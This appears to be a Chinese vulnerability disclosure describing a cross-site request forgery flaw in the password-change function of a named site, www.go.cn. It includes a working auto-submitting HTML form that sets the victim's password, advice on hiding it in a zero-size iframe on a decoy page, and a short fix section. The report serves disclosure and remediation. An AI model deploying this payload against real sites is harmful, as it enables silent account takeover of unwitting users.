修改密码处无验证token,并且无验证原密码(一个涉及money的站,修改密码居然没有验证原密码!!!),可以通过一个精心构造的表单欺骗用户修改密码。

<html>

<body>

<form name=”csrf” action=”http://www.go.cn/index.php?m=settings” method=”POST”>

<input type=text name=password value=”woooooooyun”></input>

<input type=text name=password2 value=”woooooooyun”></input>

<input type=text name=do value=”update”></input>

<input type=”submit” value=”submit” />

</form>

<script>

document.csrf.submit();

</script>

</body>

</html>

  欺骗用户访问后,密码会被改成woooooooyun。

  直接让用户访问太明显了,直接会跳转到“修改成功”的页面,所以可以准备一个看似正常的页面(如新闻),然后iframe这个POC,并且height=0,width=0,用户就会在不知情的情况下被修改密码,后果可想而知了。

  修复方案:

  1.修改密码一定要验证原密码

  2.所有涉及用户信息的操作要验证随机的token.